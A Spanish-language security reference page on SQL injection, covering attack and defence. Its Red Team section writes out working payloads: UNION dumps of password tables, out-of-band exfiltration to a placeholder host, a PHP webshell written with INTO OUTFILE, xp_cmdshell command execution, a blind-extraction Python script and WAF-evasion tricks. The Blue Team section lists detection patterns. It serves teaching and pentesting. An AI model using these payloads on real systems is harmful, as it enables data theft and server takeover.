Inyección SQL (SQLi)
Inyección de sintaxis SQL en una consulta que la aplicación construye con entrada del usuario. Según el motor y los privilegios de la cuenta de BD, va desde leer toda la base de datos hasta ejecución de comandos en el sistema operativo del servidor. Pese a ser de las vulnerabilidades más antiguas, sigue siendo de las de mayor impacto cuando aparece, y es la base de muchas de las brechas más grandes de la historia.
flowchart LR
A[Atacante] -->|"' OR 1=1-- "| APP["App (concatena la entrada)"]
APP -->|"consulta SQL alterada"| DB[(Base de datos)]
DB -->|"datos o bypass de login"| APP
APP -->|"respuesta"| A
Modelo de amenaza
Sección titulada «Modelo de amenaza»Lo que gana el atacante depende del motor, los privilegios y la arquitectura:
- Lectura de datos: volcado de usuarios, hashes, PII, secretos de configuración.
- Bypass de autenticación:
' OR 1=1-- -en el login. - Escritura: modificar precios, roles, saldos (según la consulta).
- Lectura/escritura de ficheros:
LOAD_FILE,INTO OUTFILE(con privilegio). - RCE:
xp_cmdshell(MSSQL),COPY ... TO PROGRAM(Postgres), UDF (MySQL). - Pivote: desde el servidor de BD hacia la red interna.
Anatomía
Sección titulada «Anatomía»La app concatena entrada en una sentencia enviada al SGBD. El contexto marca el exploit:
- Cadena
'...'→ hay que cerrar y reequilibrar comillas. - Numérico (sin comillas) → inyección directa.
- Identificador (columna/tabla, típico en
ORDER BY) → no parametrizable. LIMIT/IN()/ORDER BY→ contextos especiales.
Cada motor (MySQL/MariaDB, PostgreSQL, MSSQL, Oracle, SQLite) tiene funciones,
comentarios y metadatos propios. Identificar el DBMS es el primer paso:
information_schema (MySQL/MSSQL/Postgres), sys.* (MSSQL), all_tables/dual
(Oracle), sqlite_master (SQLite). Comentarios: -- -, #, /* */.
Variantes
Sección titulada «Variantes»- In-band — error-based (el motor filtra datos en mensajes de error) y UNION-based (anexar columnas con datos arbitrarios).
- Inferencial / ciega — booleana (la página cambia según verdadero/falso) y por tiempo (retardos condicionales cuando no hay diferencia visible).
- Out-of-band (OOB) — exfiltración por otro canal (DNS/HTTP) cuando no hay salida ni diferencia temporal fiable.
- Stacked queries — encadenar sentencias (
; INSERT...), depende del driver. - Second-order — el payload se almacena y se ejecuta en una consulta posterior (p. ej. en el registro y luego en un informe interno).
Red Team
Sección titulada «Red Team»Descubrimiento y fingerprint
Sección titulada «Descubrimiento y fingerprint»-- ruptura y lógica booleanaid=3' -- error / cambio ⇒ sospechosoid=3 AND 1=1 vs 1=2 -- confirma inyección booleanaid=3'||''=' -- contexto cadena (Oracle/Postgres)
-- nº de columnas (para UNION)' ORDER BY 5-- - -- sube hasta error' UNION SELECT NULL,NULL,NULL-- - -- ajusta nº y tipos
-- fingerprint del motor' UNION SELECT @@version,NULL-- - -- MySQL/MSSQL' UNION SELECT version(),NULL-- - -- Postgres' UNION SELECT banner,NULL FROM v$version-- - -- OracleExplotación — extracción (UNION / error-based)
Sección titulada «Explotación — extracción (UNION / error-based)»-- esquema (MySQL)' UNION SELECT table_name,column_name FROM information_schema.columns-- -' UNION SELECT user,password FROM users-- -
-- error-basedMySQL: ' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -MSSQL: ' AND 1=CONVERT(int,(SELECT @@version))-- -Explotación — ciega (booleana / por tiempo)
Sección titulada «Explotación — ciega (booleana / por tiempo)»' AND substring((SELECT password FROM users LIMIT 1),1,1)='a'-- - -- booleana' AND IF(1=1,SLEEP(5),0)-- - -- MySQL (tiempo)'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE 0 END-- - -- Postgres'; IF (1=1) WAITFOR DELAY '0:0:5'-- - -- MSSQLExplotación — OOB, ficheros y RCE
Sección titulada «Explotación — OOB, ficheros y RCE»-- OOB (exfil por DNS)MSSQL: '; EXEC master..xp_dirtree '\\'+(SELECT TOP 1 pass FROM users)+'.oob.tld\x'-- -Oracle: ' AND (SELECT UTL_HTTP.REQUEST('http://oob.tld/'||(SELECT ...)) FROM dual)=1-- -
-- lectura/escritura de ficheros (requiere privilegio)MySQL: ' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -MySQL: ' UNION SELECT '<?php system($_GET[c]);?>',NULL INTO OUTFILE '/var/www/sh.php'-- -
-- RCE según motorMSSQL: '; EXEC xp_cmdshell 'whoami'-- -Postgres: '; COPY (SELECT '') TO PROGRAM 'id'-- - (o UDF / lo_export)MySQL: UDF (lib_mysqludf_sys) -> sys_exec('...')A mano (sin sqlmap)
Sección titulada «A mano (sin sqlmap)»Dominar el método manual te permite adaptar el ataque y evadir cuando la herramienta automática falla o es detectada.
- Lanza cada petición con Burp Repeater o
curly compara respuestas:Ventana de terminal curl -s "https://app.tld/item?id=3'" # ¿error SQL?curl -s "https://app.tld/item?id=3 AND 1=1" # vs 3 AND 1=2 - Cuenta columnas con
ORDER BY Nhasta el error, y localiza las reflejadas conUNION SELECT 1,2,3. - Vuelca por esas columnas:
' UNION SELECT 1,table_name,3 FROM information_schema.tables-- -. - Para ciega por tiempo, automatiza tú la extracción carácter a carácter
(es, literalmente, lo que hace sqlmap por debajo):
import requests, stringbase, found = "https://app.tld/item", ""for pos in range(1, 33):for ch in string.printable.strip():p = f"3' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1)='{ch}',SLEEP(3),0)-- -"if requests.get(base, params={"id": p}, timeout=10).elapsed.total_seconds() > 3:found += ch; print(found); break
Evasión de WAF
Sección titulada «Evasión de WAF»Comentarios inline (/*!50000UNION*/), mayúsculas mixtas, UNION→UNION ALL/
paréntesis, espacios por /**//%0a/+, codificación URL/doble/unicode/hex,
división de palabras clave, operadores equivalentes (LIKE por =, || por OR).
sqlmap --tamper incluye space2comment, charencode, between, randomcase, etc.
Herramientas
Sección titulada «Herramientas»sqlmap (--dbs --dump, --technique=BEUST, --os-shell, --file-read/--file-write,
--tamper=..., --risk/--level), ghauri (ciegas rápidas), NoSQLMap (NoSQL).
Impacto y encadenamiento
Sección titulada «Impacto y encadenamiento»Volcado completo, bypass de login, robo de hashes → cracking (hashcat), lectura de secretos, RCE y pivote interno. Un SQLi en un endpoint secundario puede llevar al compromiso de toda la plataforma.
Blue Team
Sección titulada «Blue Team»Detección
Sección titulada «Detección»- Auditoría del SGBD (pgAudit, SQL Server Audit, MySQL audit plugin): alertar
sobre
UNION SELECT,information_schema/sqlite_masterdesde la cuenta de la app,xp_cmdshell,COPY ... PROGRAM,INTO OUTFILE,LOAD_FILE. - Señales de ciega:
SLEEP/BENCHMARK/pg_sleep/WAITFOR, latencias anómalas repetidas, ráfagas de peticiones casi idénticas (fuerza bruta booleana). - OOB: peticiones DNS/HTTP salientes desde el servidor de BD a dominios desconocidos.
- WAF con firmas y anomalía; en SIEM, correlación de errores SQL (500/mensajes) tras entrada con comillas/metacaracteres.
Telemetría y fuentes
Sección titulada «Telemetría y fuentes»Logs de auditoría de BD, logs de la app con la consulta/plantilla, WAF, egress del segmento de datos, APM para latencias.
Hardening
Sección titulada «Hardening»- Consultas parametrizadas / prepared statements en todo acceso a datos (mitigación raíz). Para identificadores dinámicos (no parametrizables), lista blanca de valores permitidos.
- Mínimo privilegio de la cuenta de la app: sin
FILE,xp_cmdshelldeshabilitado, sin DBA,local_infile=0, permisos solo sobre lo necesario. - Separación de red: el servidor de BD sin egress a Internet.
- ORM/consultas seguras por defecto; revisar
raw()/string building en revisiones. - WAF como capa adicional, nunca única.
Respuesta
Sección titulada «Respuesta»Rotar credenciales/secretos expuestos, evaluar alcance del volcado, buscar webshells o ficheros escritos, parchear el punto de inyección y desplegar regla de detección.
CVEs y casos reales
Sección titulada «CVEs y casos reales»- Heartland Payment Systems (2008) — una SQLi fue el punto de entrada de una de las mayores brechas de tarjetas de la historia (~130 millones).
- Sony Pictures (2011, LulzSec) — SQLi que expuso datos de millones de usuarios almacenados en claro.
- TalkTalk (2015) — SQLi en su web; datos de ~157.000 clientes y multa récord de la ICO.
- Campañas de ransomware/robo — el acceso inicial por SQLi sigue apareciendo en informes DFIR actuales.
SQLi es la categoría Injection del OWASP Top 10. CVEs concretos por producto en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).
Checklist de prueba
Sección titulada «Checklist de prueba»- Probados contextos: cadena, numérico, identificador (
ORDER BY),LIMIT/IN. - Confirmada la inyección (error / booleana / tiempo) y fingerprint del DBMS.
- Extracción demostrada (UNION/error) o, si ciega, PoC de extracción.
- Revisado OOB cuando no hay salida; probados ficheros/RCE según privilegio.
- Evaluado WAF y, si procede, bypass.
- Impacto documentado con PoC mínima y sin dañar/exfiltrar datos reales.